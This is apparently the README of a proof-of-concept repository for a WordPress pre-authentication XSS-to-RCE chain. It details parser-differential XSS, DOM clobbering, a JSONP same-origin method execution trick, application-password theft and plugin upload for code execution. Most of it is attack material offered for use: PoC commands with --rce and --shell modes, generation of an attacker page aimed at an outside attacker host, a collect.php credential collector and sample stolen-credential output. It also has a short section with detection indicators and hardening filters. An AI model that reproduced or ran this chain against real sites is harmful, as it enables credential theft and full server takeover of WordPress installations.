WordPress 预认证 XSS → RCE 攻击链,基于 pwn.ai 的研究,发布于 ionsec.io。
⚠️ 法律警告:仅用于教育目的和授权测试。仅可对您拥有或已获明确书面许可的系统进行测试。
| 步骤 | 技术 | 状态 |
|---|---|---|
| 1 | 解析器差异 XSS(sanitize_user + 浏览器解析间隙) | ✅ 已验证 |
| 2 | DOM 覆盖(<area id=ajaxurl>、<div id=color-picker>) | ✅ 已验证 |
| 3 | 登录页面上的 user-profile.js 自动触发 | ✅ 已验证 |
| 4 | REST JSONP 回调允许点号遍历(window.opener.approve.click) | ✅ 已验证 |
| 5 | _method=GET + _envelope=1 覆盖 | ✅ 已验证 |
| 6 | 应用密码窃取(SOME 同源方法执行) | ⚠️ 需要管理员点击 |
| 7 | 插件上传 → PHP 执行(无需激活) | ⚠️ 需要凭据 |
完整详情请参阅 lab/VERIFICATION_REPORT.md。
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
将 xss2shell_attacker.html 和 collect.php 上传到您的服务器。
已登录的 WordPress 管理员必须访问攻击者页面并点击一次。
凭据会出现在您服务器上的 collected_creds.json 中:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
可在服务器日志中搜索的特征:
POST /wp-login.php,请求体包含 < area、< div、< button_jsonp= 的 REST 请求(尤其是 _jsonp=a.b.c — 点号是 SOME 攻击的标志)_envelope=1 + _method=GETPOST /wp-admin/update.php?action=upload-pluginGET /wp-content/plugins/{unknown-plugin}/*.php — 从未激活的插件中发现 PHP 文件authorize-application.php 后数秒内创建了应用密码add_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp=、_envelope=;在发送至 wp-login.php 的 POST 请求体中拦截 < areaxss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| 项目 | 详情 |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| 受影响版本 | WordPress 4.7 – 7.0.2(未修补的修订版) |
| 修复版本 | WordPress 7.0.3(2026 年 8 月 6 日),已回溯移植至所有维护分支 |
| 认证 | 预认证(未认证 XSS) |
| 影响 | 通过插件上传实现 RCE |